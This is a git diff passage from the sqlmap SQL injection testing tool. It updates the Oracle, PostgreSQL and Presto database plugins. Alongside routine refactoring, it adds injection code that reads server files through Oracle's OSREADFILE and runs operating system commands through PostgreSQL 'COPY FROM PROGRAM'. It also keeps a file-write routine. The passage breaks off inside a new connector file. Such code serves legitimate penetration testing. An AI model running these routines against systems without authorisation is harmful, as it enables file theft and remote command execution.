__init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.ORACLE] = Syntax.escape diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 03728a5da76..0d011fb8afd 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,21 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: - import cx_Oracle -except: + import oracledb +except ImportError: pass import logging import os -import re from lib.core.common import getSafeExString -from lib.core.convert import utf8encode +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -25,35 +24,26 @@ class Connector(GenericConnector): """ - Homepage: https://oracle.github.io/python-cx_Oracle/ - User https://cx-oracle.readthedocs.io/en/latest/ - API: https://wiki.python.org/moin/DatabaseProgramming - License: https://cx-oracle.readthedocs.io/en/latest/license.html#license + Homepage: https://oracle.github.io/python-oracledb/ + User: https://python-oracledb.readthedocs.io/en/latest/ + License: https://github.com/oracle/python-oracledb/blob/main/LICENSE.txt """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() - self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) - self.__dsn = utf8encode(self.__dsn) - self.user = utf8encode(self.user) - self.password = utf8encode(self.password) + + self.user = getText(self.user) + self.password = getText(self.password) try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) + dsn = oracledb.makedsn(self.hostname, self.port, service_name=self.db) + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn, mode=oracledb.AUTH_MODE_SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: - if "Oracle Client library" in getSafeExString(ex): - msg = re.sub(r"DPI-\d+:\s+", "", getSafeExString(ex)) - msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg) - msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg) - raise SqlmapConnectionException(msg) - + except oracledb.DatabaseError: + # Try again without SYSDBA try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn) + except oracledb.DatabaseError as ex: raise SqlmapConnectionException(ex) self.initCursor() @@ -62,7 +52,7 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except cx_Oracle.InterfaceError as ex: + except oracledb.InterfaceError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None @@ -70,13 +60,12 @@ def execute(self, query): retVal = False try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) retVal = True - except cx_Oracle.DatabaseError as ex: + except oracledb.DatabaseError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() - return retVal def select(self, query): diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 98154351619..96b1a262cd2 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,6 +11,7 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -20,19 +21,17 @@ from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import CURRENT_USER from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[DBMS.ORACLE].roles - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -57,7 +56,7 @@ def getRoles(self, query2=False): values = inject.getValue(query, blind=False, time=False) if not values and not query2: - infoMsg = "trying with table USER_ROLE_PRIVS" + infoMsg = "trying with table 'USER_ROLE_PRIVS'" logger.info(infoMsg) return self.getRoles(query2=True) @@ -118,14 +117,14 @@ def getRoles(self, query2=False): if not isNumPosStrValue(count): if count != 0 and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user @@ -150,7 +149,7 @@ def getRoles(self, query2=False): else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index b4c8a176973..197b9bddc99 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,23 +1,59 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.agent import agent +from lib.core.common import dataToOutFile +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getSQLSnippet +from lib.core.common import isNoneValue +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject +from lib.request.connect import Connect as Request from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + def readFile(self, remoteFile): + localFilePaths = [] + snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension") - def readFile(self, rFile): - errMsg = "File system read access not yet implemented for " - errMsg += "Oracle" - raise SqlmapUnsupportedFeatureException(errMsg) + for query in snippet.split("\n"): + query = query.strip() + query = agent.prefixQuery("OR (%s) IS NULL" % query) + query = agent.suffixQuery(query, trimEmpty=False) + payload = agent.payload(newValue=query) + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) + + for remoteFile in remoteFile.split(','): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + kb.fileReadMode = True + fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + kb.fileReadMode = False + + if not isNoneValue(fileContent): + fileContent = decodeDbmsHexValue(fileContent, True) + + if fileContent.strip(): + localFilePath = dataToOutFile(remoteFile, fileContent) + localFilePaths.append(localFilePath) + + elif not kb.bruteMode: + errMsg = "no data retrieved" + logger.error(errMsg) + + return localFilePaths - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 3cf07e69716..5eacf432461 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,10 +9,14 @@ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject @@ -23,6 +27,16 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("NULL_EQU(NULL,NULL)=1"): + fork = FORK.DM8 + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -39,6 +53,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.ORACLE + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -47,14 +63,19 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -88,7 +109,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -103,7 +124,7 @@ def checkDbms(self): logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database - for version in ("12c", "11g", "10g", "9i", "8i"): + for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) @@ -114,7 +135,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index df00405104d..91e255219dc 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,24 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True """ def escaper(value): - return "||".join("%s(%d)" % ("CHR" if ord(value[i]) < 256 else "NCHR", ord(value[i])) for i in xrange(len(value))) + return "||".join("%s(%d)" % ("CHR" if _ < 128 else "NCHR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index c716307cd90..6bc5cd16a24 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index a2153057482..68ea7cb1f7c 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -30,11 +30,7 @@ def __init__(self): "sys_fileread": {"input": ["text"], "return": "text"} } - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.PGSQL] = Syntax.escape diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 2b8f4a01ed1..4a71bf15bb6 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -29,15 +29,12 @@ class Connector(GenericConnector): Possible connectors: http://wiki.python.org/moin/PostgreSQL """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) - except psycopg2.OperationalError as ex: + except (psycopg2.OperationalError, UnicodeDecodeError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.set_client_encoding('UNICODE') @@ -49,7 +46,7 @@ def fetchall(self): try: return self.cursor.fetchall() except psycopg2.ProgrammingError as ex: - logger.warn(getSafeExString(ex)) + logger.warning(getSafeExString(ex)) return None def execute(self, query): @@ -59,7 +56,7 @@ def execute(self, query): self.cursor.execute(query) retVal = True except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: - logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip()) + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) except psycopg2.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index c089fcba0f0..181384becbc 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,9 +10,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index d97b68db081..d0298f2b627 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,13 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import randomInt +from lib.core.compat import xrange +from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE @@ -21,22 +23,23 @@ def __init__(self): GenericFilesystem.__init__(self) - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) self.initEnv() - return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread") + return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) - def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): - wFileSize = os.path.getsize(wFile) - content = open(wFile, "rb").read() + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + localFileSize = os.path.getsize(localFile) + content = open(localFile, "rb").read() self.oid = randomInt() self.page = 0 @@ -55,7 +58,7 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) - for offset in xrange(0, wFileSize, LOBLKSIZE): + for offset in xrange(0, localFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) @@ -68,12 +71,12 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType - debugMsg += "file '%s'" % dFile + debugMsg += "file '%s'" % remoteFile logger.debug(debugMsg) - inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) + inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 13867fd9da0..20eed02a917 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,16 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES @@ -22,6 +26,30 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.PGSQL) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): + fork = FORK.COCKROACHDB + elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version + fork = FORK.REDSHIFT + elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png + fork = FORK.GREENPLUM + elif inject.checkBooleanExpression("VERSION() LIKE '%Yellowbrick%'"): # Reference: https://www.yellowbrick.com/docs/3.3/ybd_sqlref/version.html + fork = FORK.YELLOWBRICK + elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html + fork = FORK.ENTERPRISEDB + elif inject.checkBooleanExpression("VERSION() LIKE '%YB-%'"): # Reference: https://github.com/yugabyte/yugabyte-db/issues/2447#issue-499562926 + fork = FORK.YUGABYTEDB + elif inject.checkBooleanExpression("VERSION() LIKE '%openGauss%'"): + fork = FORK.OPENGAUSS + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -38,6 +66,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.PGSQL + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -46,14 +76,19 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -73,7 +108,8 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL") + # NOTE: Vertica works too without the CONVERT_TO() + result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PGSQL @@ -83,7 +119,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -97,8 +133,22 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): - Backend.setVersion(">= 10.0") + if inject.checkBooleanExpression("JSON_QUERY(NULL::jsonb, '$') IS NULL"): + Backend.setVersion(">= 17.0") + elif inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"): + Backend.setVersion(">= 16.0") + elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 15.0") + elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + Backend.setVersion(">= 14.0") + elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): + Backend.setVersion(">= 13.0") + elif inject.checkBooleanExpression("SINH(0)=0"): + Backend.setVersion(">= 12.0") + elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"): + Backend.setVersion(">= 11.0") + elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): + Backend.setVersionList([">= 10.0", "< 11.0"]) elif inject.checkBooleanExpression("SIND(0)=0"): Backend.setVersionList([">= 9.6.0", "< 10.0"]) elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): @@ -147,7 +197,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index c83d3b4fc43..f730a800107 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,27 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ Note: PostgreSQL has a general problem with concenation operator (||) precedence (hence the parentheses enclosing) e.g. SELECT 1 WHERE 'a'!='a'||'b' will trigger error ("argument of WHERE must be type boolean, not type text") - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" + True """ def escaper(value): - return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s) + return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) # Postgres CHR() function already accepts Unicode code point of character(s) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 13edbbce162..ea187fc79b0 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,7 +10,13 @@ from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp +from lib.core.common import flattenValue +from lib.core.common import filterNone +from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isStackingAvailable from lib.core.common import randomStr +from lib.core.compat import LooseVersion from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -21,9 +27,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def udfSetRemotePath(self): # On Windows if Backend.isOs(OS.WINDOWS): @@ -48,22 +51,13 @@ def udfSetLocalPaths(self): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "9.4": - majorVer = "9.4" - elif banVer >= "9.3": - majorVer = "9.3" - elif banVer >= "9.2": - majorVer = "9.2" - elif banVer >= "9.1": - majorVer = "9.1" - elif banVer >= "9.0": - majorVer = "9.0" - elif banVer >= "8.4": - majorVer = "8.4" - elif banVer >= "8.3": - majorVer = "8.3" - elif banVer >= "8.2": - majorVer = "8.2" + if not banVer or not banVer[0].isdigit(): + errMsg = "unsupported feature on unknown version of PostgreSQL" + raise SqlmapUnsupportedFeatureException(errMsg) + elif LooseVersion(banVer) >= LooseVersion("10"): + majorVer = banVer.split('.')[0] + elif LooseVersion(banVer) >= LooseVersion("8.2") and '.' in banVer: + majorVer = '.'.join(banVer.split('.')[:2]) else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise SqlmapUnsupportedFeatureException(errMsg) @@ -102,3 +96,34 @@ def uncPathRequest(self): self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True) + + def copyExecCmd(self, cmd): + output = None + + if isStackingAvailable(): + # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 + self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName + self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) + self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) + inject.goStacked(self._forgedCmd) + + query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) + output = inject.getValue(query, resumeValue=False) + + if isListLike(output): + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(output) + + self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName + inject.goStacked(self._cleanupCmd) + + return output + + def checkCopyExec(self): + if kb.copyExecTest is None: + kb.copyExecTest = self.copyExecCmd("echo 1") == '1' + + return kb.copyExecTest diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py new file mode 100644 index 00000000000..4fe48fc89ac --- /dev/null +++ b/plugins/dbms/presto/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import PRESTO_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.presto.enumeration import Enumeration +from plugins.dbms.presto.filesystem import Filesystem +from plugins.dbms.presto.fingerprint import Fingerprint +from plugins.dbms.presto.syntax import Syntax +from plugins.dbms.presto.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Presto methods + """ + + def __init__(self): + self.excludeDbsList = PRESTO_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.PRESTO] = Syntax.escape diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py new file mode 100644 index 00000000000..f190c7ce2ea --- /dev/null +++ b/plugins/dbms/presto/connector.py @@ -0,0 